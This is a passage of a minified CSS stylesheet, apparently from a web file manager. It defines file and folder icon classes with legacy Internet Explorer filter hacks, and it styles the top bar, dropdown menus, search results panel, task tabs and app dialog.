\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder_share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle_full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path_self_share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app_link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-userSelf{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-groupSelf{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-groupSelfOwner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-groupGuest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-groupSelfRoot{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-groupRoot{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-groupPublic{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-treeSelf{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-treeFav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-appStore{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can_select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}input,button,select,textarea{line-height:initial;}a{text-decoration:none;}a:focus{outline:none !important;}.content_box .ace_cjk{width:1em !important;}.content_box .ace_static_highlight{font-size:1.15em;}*,*:before,*:after{-webkit-box-sizing:inherit;-moz-box-sizing:inherit;box-sizing:inherit;}label{font-weight:normal;}pre{border:none;border-radius:0;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;}.btn .font-icon{color:#999;}.btn:focus{outline:none;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}.can_select,.can_select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can_not_select,.can_not_select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.pl-5{padding-left:5px;}.pl-10{padding-left:10px;}.pl-15{padding-left:15px;}.pl-20{padding-left:20px;}.pr-5{padding-right:5px;}.pr-10{padding-right:10px;}.pr-15{padding-right:15px;}.pr-20{padding-right:20px;}.ml-5{margin-left:5px;}.ml-10{margin-left:10px;}.ml-15{margin-left:15px;}.ml-20{margin-left:20px;}.mr-5{margin-right:5px;}.mr-10{margin-right:10px;}.mr-15{margin-right:15px;}.mr-20{margin-right:20px;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.clear{clear:both;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.aui_buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialogChangeMax,.dialogChangeMax .aui_main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui_title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;z-index:100;top:0;background:#63acff;position:fixed;}.topbar .content{padding:0px;line-height:40px;height:40px;wordbreak:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar_menu{display:block;text-decoration:none;color:#fff;border:1px solid #4a9eff;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar_menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar_menu.title:hover{background:none;}.topbar .content .title img{max-width:200px;max-height:44px;}.topbar .content .open .topbar_menu,.topbar .content .topbar_menu:hover,.topbar .content .topbar_menu.this{background:#4a9eff;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top_left{overflow:hidden;height:40px;width:70%;}.topbar .content .top_right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top_right .menu_group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top_right .topbar_menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top_right .topbar_menu i{padding-right:3px;}.topbar .content .top_right .btn{color:#fff;}.topbar .content .top_right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top_right ul a:hover,.topbar .content .top_right ul a.this{margin-right:0px;}.topbar .content .top_right ul a.this{background:#63acff;color:#fff;}.topbar .content .top_right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top_right ul.dropdown-menu.topbar_language{width:480px;padding:10px 5px;}.topbar .content .top_right ul.dropdown-menu.topbar_language li{width:115px;float:left;}.topbar .content .top_right ul.dropdown-menu.topbar_language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top_right ul.dropdown-menu.topbar_language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share_title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share_title_info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share_info{color:#fff;float:left;font-size:1em;}.topbar .content .share_info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top_right div.share_info_user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top_right div.share_info_user .btn_download,.topbar .content .top_right div.share_info_user .btn.button_my_share{padding:4px 20px;margin-left:5px;}.topbar .content .top_right div.share_info_user .dropdown-toggle{height:16px;}.common_footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common_footer .copyright_bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common_footer .copyright_bottom:hover{color:#f60;border-bottom:none;}.do_search{color:#888;}.do_search .search_header{padding:10px;padding-bottom:0px;}.do_search .search_header input[type='checkbox']{padding-left:0px;}.do_search .search_header label{font-size:1em;}.do_search .search_header .btn-right{margin:-5px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;}.do_search .search_header .s_br{margin-bottom:8px;line-height:25px;}.do_search .search_header #search_value,.do_search .search_header #search_path,.do_search .search_header #search_ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do_search .search_header #search_value:focus,.do_search .search_header #search_path:focus,.do_search .search_header #search_ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do_search .search_header #search_value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do_search #search_is_case{margin-left:10px;}.do_search .search_desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do_search .search_result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;border-bottom-left-radius:3px;border-bottom-right-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do_search .search_result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;word-wrap:break-word;word-break:break-all;overflow:hidden;}.do_search .search_result .file-item .file-info:hover{background:#eee;}.do_search .search_result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do_search .search_result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do_search .search_result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do_search .search_result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do_search .search_result .file-item .file-info .file-icon img{width:100%;height:100%;}.do_search .search_result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do_search .search_result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;background:#fff;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-item .file-info .goto:hover{background:#fbbc00;color:#fff;}.do_search .search_result .file-item .file-info:hover .goto{display:block;}.do_search .search_result .file-item .keyword{background:#ffef65;color:#000;}.do_search .search_result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do_search .search_result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do_search .search_result .file-item .result-item .result-info:hover{background:#eee;}.do_search .search_result .file-item .result-item .result-info.this,.do_search .search_result .file-item .result-item .result-info.this:hover{background:#63acff;}.do_search .search_result .file-item .result-item .result-info.this .line,.do_search .search_result .file-item .result-item .result-info.this .search-info,.do_search .search_result .file-item .result-item .result-info.this:hover .line,.do_search .search_result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do_search .search_result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do_search .search_result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do_search .search_result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}.task_tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task_tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task_tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task_tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task_tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background:rgba(255,255,255,0.2);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init_loading{position:fixed;left:50%;margin-left:-80px;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init_loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init_loading img{border-radius:10px;}.space_info_bar{width:110px;}.space_info_bar .space_process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space_info_bar .space_process .space_process_use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.space_info_bar .space_process .space_process_use.warning{background-color:#f00 !important;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid 